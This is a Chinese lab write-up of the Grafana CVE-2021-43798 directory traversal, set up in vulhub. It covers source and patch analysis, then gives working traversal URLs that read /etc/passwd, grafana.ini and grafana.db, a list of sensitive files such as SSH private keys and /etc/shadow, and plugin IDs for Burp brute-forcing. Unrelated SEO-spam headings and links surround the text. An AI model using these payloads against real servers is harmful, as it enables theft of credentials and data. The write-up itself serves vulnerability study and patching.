当前位置: 首页 > news >正文

某购物网站开发项目南昌二手网站开发方案

某购物网站开发项目,南昌二手网站开发方案,企业建设网站多少钱,做公司 网站docker环境搭建 #进入环境 cd vulhub/grafana/CVE-2021-43798#启动环境,这个过程可能会有点慢,保持网络通畅 docker-compose up -d#查看环境 docker-compose ps直接访问虚拟机 IP地址:3000 目录遍历原理 目录遍历原理:攻击者可以通过将包含…

docker环境搭建

#进入环境
cd vulhub/grafana/CVE-2021-43798

在这里插入图片描述

#启动环境,这个过程可能会有点慢,保持网络通畅
docker-compose up -d

在这里插入图片描述

#查看环境
docker-compose ps

在这里插入图片描述

直接访问虚拟机 IP地址:3000

目录遍历原理

目录遍历原理:攻击者可以通过将包含特殊目录遍历字符序列(…/)的特制HTTP请求发送到受影响的设备来利用此漏洞。通常是由于代码没有判断拼接路径的真实路径是否合法。

目录遍历影响:成功利用该漏洞的攻击者可以在目标设备上查看文件系统上的的任意文件。严重的会导致服务器中的敏感重要数据被窃取,例如数据库、WEB配置文件等。

源码分析

源码链接: 提取码: 8bf4

Grafana是利用go语言编写的可视化应用程序平台。

漏洞影响版本Grafana 8.0.0-beta1 - 8.3.0

源码分析:主要问题出现在pkg/api/plugins.go文件的getPluginAssets函数。先查找插件是否存在,如果插件不存在,则返回"Plugin not found",如果存在这个插件名,则会匹配 /public/plugins/:pluginId/*中的*,这个地方没有做任何过滤。最后打开pluginFilePath并输出相关内容,就可以造成任意文件读取。

payload/public/plugins/插件名/想要访问文件的相对路径
在这里插入图片描述

原理/成因:没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。

总结:只要是安装了任何一个插件就可以出现任意文件读取,因为是plugins的问题。

补丁分析

原漏洞代码:requestedFile := filepath.Clean(web.Params(c.Req)["*"])。该代码使用Clean函数对请求进行../的清理,但是Clean函数并不能做到全部清理,如下范例:

代码:
package main
import ( "fmt""path/filepath"
) 
// Calling main 
func main() { // Calling the Clean() function fmt.Println(filepath.Clean("/GFG/./../Geeks")) fmt.Println(filepath.Clean("GFG/../Geeks")) fmt.Println(filepath.Clean("..GFG/./../Geeks")) fmt.Println(filepath.Clean("gfg/../../../Geek/GFG")) 
}输出:
/Geeks
Geeks
Geeks
../../Geek/GFG

在后来使用open函数时就可以成功读取文件内容了。

官网的补丁如下:

requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))rel, err := filepath.Rel("/", requestedFile)if err != nil {// this should not never failc.JsonApiErr(500, "Relative path found", err)return}

可以看到将clean和join合并利用后,增加了filepath.Rel函数

func Rel(basepath, targpath string) (string, error)

filepath.Rel()函数会以basepath作为基准,返回targpath相对于basepath的相对路径,不过前提是basepathtargpath必须都是相对路径,若其中有一个是绝对路径则会返回错误。

如果无法相对于基本路径创建targpath,或者如果需要知道当前工作目录以进行计算,则会返回错误。

故使用Rel函数修复了目录穿越的问题。

修复方式

升级版本

漏洞利用

攻击路径POC

<grafana_host_url>/public/plugins/<“plugin-id”>其中<“plugin-id”>是任何已安装插件的插件ID。

读取etc/passwd:

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd
在这里插入图片描述

读取配置文件:

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini
在这里插入图片描述

读取数据库:

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db
在这里插入图片描述

读取其它文件:

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

默认安装插件列表:

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

burp爆破

由于插件过多,利用burp爆破
在这里插入图片描述

将插件放入文件里做为一个字典
在这里插入图片描述

导入burp进行爆破
在这里插入图片描述

http://www.yayakq.cn/news/62412/

相关文章:

  • 网站建设维护与推广windows用什么wordpress
  • 我要自学网ps视频教程免费seo规则
  • 仿网站视频教程建设网站有哪几种方式
  • 定制型和模板型网站wordpress去除rss
  • 南宁企业网站推广技巧庭院设计效果图
  • 西安网站建设有那些公司重庆市建设工程施工安全管理网站
  • 商城网站建设定制网站建设福州网站制作服务
  • 广州网站建设信科网络做网站需准备些什么软件
  • 曲靖网站推广wordpress小说站主题
  • 图书馆网站建设策划青岛外贸推广
  • 建设网站的工具是什么程序员外包接单
  • 网站 不备案网站建设服装在线商城实训报告
  • 网站ui设计外贸有哪些网站
  • 关于网站建设与维护论文天元建设集团有限公司张桂玉丑闻
  • 泰安网站seo怎么查公司的邮箱
  • 颍上县建设局网站苏州建设银行招聘网站
  • 私人做网站图片什么是网络营销包含哪些内容
  • 毕业纪念册设计制作图片网站优化排名资源
  • 重新安wordpress网站本地搭建wordpress
  • 怎么样做一家卖东西的网站网站建设找单
  • 茂名手机网站制作企业网站设计建设长春
  • 免费咨询法律问题的网站中文搜索引擎有哪些平台
  • 广州做网站一般要多少钱做3d效果在哪个网站
  • 网站开发管理渠道网络推广
  • 湖北网站建设平台做网站买过域名之后
  • 要学做游戏上什么网站学好青岛网站设计公司电话
  • 做网站优化哪家公司好中铁建设集团有限公司下属公司
  • 微信支付需要网站备案书签
  • 门户网站等保二级建设方案网站建设有哪三部
  • 网站建设费计入什么科目比较好做网站项目体会